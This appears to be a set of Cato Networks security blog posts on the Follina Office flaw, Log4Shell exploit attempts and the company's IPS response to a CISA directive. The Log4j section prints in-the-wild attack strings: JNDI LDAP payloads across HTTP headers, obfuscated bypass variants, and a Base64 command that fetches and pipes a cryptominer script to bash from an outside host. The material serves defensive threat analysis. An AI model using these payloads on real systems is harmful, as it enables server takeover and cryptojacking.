Cato Protects Against Microsoft Office Follina Exploits

Cybersecurity researchers are lighting up Twitter with a zero-day flaw in Microsoft Office enabling attackers to execute arbitrary code on targeted Windows systems. Earlier today Microsoft issued CVE-2022-30190 that describes the remote code execution (RCE) vulnerability within Office. It can be exploited when the Microsoft Support Diagnostic Tool (MSDT) is called using by a URL...
Cato Protects Against Microsoft Office Follina Exploits Cybersecurity researchers are lighting up Twitter with a zero-day flaw in Microsoft Office enabling attackers to execute arbitrary code on targeted Windows systems. Earlier today Microsoft issued CVE-2022-30190 that describes the remote code execution (RCE) vulnerability within Office. It can be exploited when the Microsoft Support Diagnostic Tool (MSDT) is called using by a URL from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights. The vulnerability was discovered by nao_sec, the independent cybersecurity research team, who found a Word document ("05-2022-0438.doc") uploaded to VirusTotal from an IP address in Belarus. The Microsoft post explained how to create the payload and various work arounds. Describing the vulnerability, nao_sec writes on Twitter, “It uses Word's external link to load the HTML and then uses the 'ms-msdt' scheme to execute PowerShell code." The Hackernews quotes security researcher Kevin Beaumont, saying that “the maldoc leverages Word's remote template feature to fetch an HTML file from a server, which then makes use of the "ms-msdt://" URI scheme to run the malicious payload.” Beaumont has dubbed the flaw "Follina," because the malicious sample references 0438, which is the area code of Follina, a municipality in the Italian city of Treviso. [boxlink link="https://www.catonetworks.com/cybersecurity-masterclass/?utm_source=blog&utm_medium=top_cta&utm_campaign=masterclass"] Join one of our Cyber Security Masterclasses | Go now [/boxlink] Cato Immediately Protects Users Worldwide Within hours of Microsoft’s reporting, Cato researchers were already working on implementing protections for Cato customers worldwide. Already, Cato’s multilayered security defense fully protected Cato-connected users. While no further action is needed, Cato customers are advised to patch any affected systems. There are currently three ways attackers can exploit this attack: Users can download a file or application containing the payload that will invoke the MSDT locally. Users can download a file or application containing the payload that will get the invocation from the Internet (from the attacker’s sites) User’s browser receives the payload in the response to direction from a malicious site, runs MSDT. All three approaches are already blocked using the Cato Advanced Threat Prevention (ATP) capabilities. Cato’s anti-malware inspects and will block downloading of files or applications with the necessary payload to execute Follina. Cato IPS will detect and prevent any invocation from across the network or the Internet. As we have witnessed with Log4j, vulnerabilities such as these can take organizations a very long time to patch. Log4j exploitations are still observed to this day, six months after its initial disclosure. With Cato, enterprises no longer see the delays from patching and are protected in record time. Demonstration of Attack Exploiting CVE-2022-30190 

Log4J – A Look into Threat Actors Exploitation Attempts

On December 9, a critical zero-day vulnerability was discovered in Apache Log4j, a very common Java logging tool. Exploiting this vulnerability allows attackers to take control over the affected servers, and this prompted a CVSS (Common Vulnerability Scoring System) severity level of 10. LogJam, also known as Log4Shell, is particularly dangerous because of its simplicity...
Log4J – A Look into Threat Actors Exploitation Attempts On December 9, a critical zero-day vulnerability was discovered in Apache Log4j, a very common Java logging tool. Exploiting this vulnerability allows attackers to take control over the affected servers, and this prompted a CVSS (Common Vulnerability Scoring System) severity level of 10. LogJam, also known as Log4Shell, is particularly dangerous because of its simplicity – forcing the application to write just one simple string allows attackers to upload their own malicious code to the application. To make things worse, working PoCs (Proof of Concept) are already available on the internet, making even inexperienced attackers a serious threat. Another reason this vulnerability is getting so much attention is the mass adoption of Log4j by many enterprises. Amazon, Steam, Twitter, Cisco, Tesla, and many others all make use of this library, which means different threat actors have a very wide range of targets from which to choose. As the old saying goes – not every system is vulnerable, not every vulnerability is exploitable and not every exploit is usable, but when all of these align Quick Mitigation At Cato, we were able to push mitigation in no-time, as well as have it deploy across our network, requiring no action whatsoever from customers with IPS enabled. The deployment was announced in our Knowledge Base together with technical details for customers. Moreover, we were able to set our detections based on traffic samples from the wild, thus minimizing the false positive rate from the very first signature deployment, and maximizing the protection span for different obfuscations and bypass techniques. Here are a couple of interesting exploit attempts we saw in the wild. These attempts are a good representation of an attack’s lifecycle and adoption by various threat actors, once such a vulnerability goes public. [boxlink link="https://www.catonetworks.com/resources/ransomware-is-on-the-rise-catos-security-as-a-service-can-help?utm_source=blog&utm_medium=top_cta&utm_campaign=ransomware_ebook"] Ransomware is on the rise | Download eBook [/boxlink] Exploit Trends and Anecdotes We found exploit attempts using the normal attack payload: ${jndi:ldap://<MALICIOUS DOMAIN>/Exploit}  We identified some interesting variations and trends: Adopted by Scanners Interestingly, we stumbled across scenarios of a single IP trying to send the malicious payload over a large variety of HTTP headers in a sequence of attempts: Access-Control-Request-Method: ${jndi:ldap://<REDACTED_IP>:42468/a} Access-Control-Request-Headers: ${jndi:ldap://<REDACTED_IP>:42468/a} Warning: ${jndi:ldap://<REDACTED_IP>:42468/a} Authorization: ${jndi:ldap://<REDACTED_IP>:42468/a} TE: ${jndi:ldap://<REDACTED_IP>:42468/a} Accept-Charset: ${jndi:ldap://<REDACTED_IP>:42468/a} Accept-Datetime: ${jndi:ldap://<REDACTED_IP>:42468/a} Date: ${jndi:ldap://<REDACTED_IP>:42468/a} Expect: ${jndi:ldap://<REDACTED_IP>:42468/a} Forwarded: ${jndi:ldap://<REDACTED_IP>:42468/a} From: ${jndi:ldap://<REDACTED_IP>:34467/a} X-Api-Version: ${jndi:ldap://<REDACTED_IP>:42468/a} Max-Forwards: ${jndi:ldap://<REDACTED_IP>:34467/a} Such behavior might be attributed to Qualys vulnerability scanner, which claimed to add a number of tests that attempt sending the Log4j vulnerability payloads across different HTTP headers. While it’s exciting to see the quick adoption of pentesting and scanning tools for this new vulnerability, one can’t help but wonder what would happen if these tools were used by malicious actors. Sinkholes Created nspecting attack traffic allowed us to find sinkhole addresses used for checking vulnerable devices. Sinkholes are internet-facing servers that collect traffic sent to them when a vulnerability PoC is found to be successful.   A bunch of HTTP requests with headers such as the ones below indicate the use of a sinkhole:  User-Agent: ${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent  User-Agent: ${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}  We can tell that the sinkhole address matches the protocol and header on which the exploit attempt succeeds.   This header seen in the wild:  X-Api-Version: ${jndi:ldap://<REDACTED>.burpcollaborator.net/a  This is an example of using the burpcollaborator platform for sinkholing successful PoCs. In this case, the header used was an uncommon one, trying to bypass security products that might have overlooked it.   Among many sinkholes, we also noticed <string>.bingsearchlib.com, as mentioned here too.   Bypass Techniques Bypass techniques are described in a couple of different GitHub projects ([1], [2]). These bypass techniques mostly leverage syntactic flexibility to alter the payload to one that won’t trigger signatures that capture the traditional PoC example only. Some others alter the target scheme from the well-known ldap:// to rmi://, dns:// and ldaps:// A funny one we found in the wild is: GET /?x=${jndi:ldap://1.${hostName}.<REDACTED>.interactsh.com/a} Host: <REDACTED_IP>:8080 User-Agent: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://2.${hostName}.<REDACTED>.interactsh.com}  Connection: close Referer: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://3.${hostName}.<REDACTED>.interactsh.com} Accept-Encoding: gzip  In this request, the attacker attempted three different attack methods: the regular one (in green), as well as two obfuscated ones (in purple and orange). Seems like they’ve assumed a target that would modify the request, replacing the malicious part of the payload with a sanitized version. However, they missed the fact that many modern security vendors would drop this request altogether, leaving them exposed to being signed and blocked by their “weakest link of obfuscation.”   Real Attacks – Cryptomining on the Back of Exploitation Victims While many of the techniques described above were used by pentesting tools and scanners to show a security risk, we also found true malicious actors attempting to leverage CVE-2021-44228 to drop malicious code on vulnerable servers. The attacks look like this:  Authorization: ff=${jndi:ldap://<REDACTED_IP>:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}  Base64-decoding the payload above reveals the attacker’s intentions:  …  (wget -O – http[:]//<REDACTED_IP>:8005/acc||curl -o – http[:]//<REDACTED_IP>:8005/acc)|/bin/bash  Downloading the file named acc leads to a bash code that downloads and runs XMrig cryptominer. Furthermore, before doing so it closes all existing instances of the miner and shuts them off if their CPU usage is too high to keep under the radar. Needless to say, the mined crypto coins make their way to the attacker’s wallet.   The SANS Honeypot Data API provides access to similar findings and variations of true attacks that target their honeypots.     The Apache Log4j vulnerability poses a great risk to enterprises that fail to mitigate it on time. As we described, the vulnerability was promptly used not only by legitimate scanners and pentesting tools, but by novice and advanced attackers, as well. Cato customers were well taken care of. We made sure the risk was promptly mitigated and notified our customers that their networks are safe. Read all about it in our  blog post: Cato Networks Rapid Response to The Apache Log4J Remote Code Execution Vulnerability. So until the next time....     

How Cato Was Able to Meet the CISA Directive So Quickly

We just made an announcement today that’s a textbook example of the power of our IPS. All mobile users, offices, and cloud resources anywhere in the world on the Cato SASE Cloud are now protected against network-based threats exploiting the exposures the Cybersecurity and Infrastructure Security Agency (CISA) identified two weeks ago. Actually, the time...
How Cato Was Able to Meet the CISA Directive So Quickly We just made an announcement today that’s a textbook example of the power of our IPS. All mobile users, offices, and cloud resources anywhere in the world on the Cato SASE Cloud are now protected against network-based threats exploiting the exposures the Cybersecurity and Infrastructure Security Agency (CISA) identified two weeks ago. Actually, the time to implement those protections in the field was closer to 10 days. For someone in security research that’s an amazing accomplishment. It’s not just that we developed signatures to record time. Alone that would be significant. It’s that we were able to get those signatures implemented in production across all of our customers and without their intervention so quickly. Let me explain. THE CISA DIRECTIVE Two weeks ago, the CISA issued a Binding Operational Directive (BOD) forcing federal agencies to remediate known and exploited vulnerabilities within CISA’s given timeline. Some 300 previously exploited vulnerabilities were identified, 113 of which had to be addressed by today. Their guidance is to remediate these vulnerabilities on their information systems, mainly by patching the announced vulnerable products to their latest versions. While none of the vulnerabilities were found in the Cato SASE Cloud, we wanted to protect our customer against any relevant network-based threats. Upon arrival of CISA’s announcement through one of our many threat intelligence feeds, we triaged the IOCs to identify those vulnerabilities that fell within scope of our IPS, finding public or hidden information to get a correct reproduction of the exploit. Some of the vulnerabilities announced by CISA were ones that didn’t have any public exploit. In such a case, reproducing the exploit is unfeasible and the vendor of the vulnerable product is responsible for releasing a patch and/or providing workarounds. The only exception for this case is Microsoft vulnerabilities, which we can handle thanks to our collaboration with Microsoft as part of the Microsoft Active Protection Plan (MAPP). As members of MAPP Microsoft share with us detailed information to allow mitigation of vulnerabilities found in their products. Many of the vulnerabilities had already been triaged and mitigated last year. Out of the 113 CVEs (Common Vulnerabilities and Exposures) that CISA asked to be patched by November 17th, we identified 36 vulnerabilities that were within scope. (We’re currently in the process of handling the rest of the vulnerabilities in the catalog, which CISA asked to be patched by May 2022.) [boxlink link="https://www.catonetworks.com/resources/sase-vs-sd-wan-whats-beyond-security?utm_source=blog&utm_medium=top_cta&utm_campaign=ransomware_ebook"] SASE vs SD-WAN | What’s Beyond Security [/boxlink] THE IPS PROBLEM Normally, getting 36 signatures developed and deployed in the field would take weeks. Oh, yes, often legacy security vendors are proud of the speed by which they develop IPS signatures. What they ignore is the time IT then needs to take to implement those signatures. Every signature must be first assessed for their relevance and performance impact on the IPS. Then they need to run the IPS on live traffic in detect mode only, checking to see what false positives are generated and identifying any end user disruption. Only afterwards can IT deploy an IPS signature in full production. Often, though, the headaches cause many to leave legacy IPS in detect mode and ignore its alerts, wasting their IPS resource. But with Cato Managed IPS-as-a-Service, none of that is an issue. Our IPS runs as part of Cato’s global cloud-native platform. The cloud’s ubiquitous resources eliminate legacy IPS performance issues. Cato’s advanced behavioral signatures are also vastly different than legacy IPS signatures. Our signatures are context-aware, synthesizing indicators across multiple network and security domains normally unavailable to a legacy IPS. We can do this because as a global SASE platform, we’ve built a simply massive data lake from the metadata of every flow crossing the Cato global private backbone. For security researchers, like myself, this sort of data is like gold, letting us develop incredibly precise signatures that are more accurate (reducing false positives) and more effective (reducing false negatives). For each CVE, Cato validates the IPS signature against real-traffic data from our data lake. This unique data resource allows Cato to run through “what if” scenarios to ensure their efficacy. Only then do we push them to the production network in silent mode, monitor the results, and eventually switch them to global block-mode. What About Those Out of Scope? Cato protects organizations against network-based threats but even endpoint attacks often have a network-based component. Cato’s IPS inspects inbound, outbound, and WAN-bound network traffic. This means that endpoint vulnerabilities are out of scope. Nevertheless, we do have mitigation mechanisms that would block potential exploitation of such CVEs further down the attack kill chain, such as Next Generation Anti-Malware (for blocking of malware dropping), reputation feeds (for blocking of malicious IPs/domains, CNC communication, and other IoCs) and more. What Else Should Cato Customers Do? If you have the Cato IPS enabled, you are protected from these vulnerabilities with no manual configuration changes required on your part. However, to ensure complete protection from vulnerabilities out of Cato’s scope, we advise following vendor advisories to mitigate and update your systems and patch them to the latest version.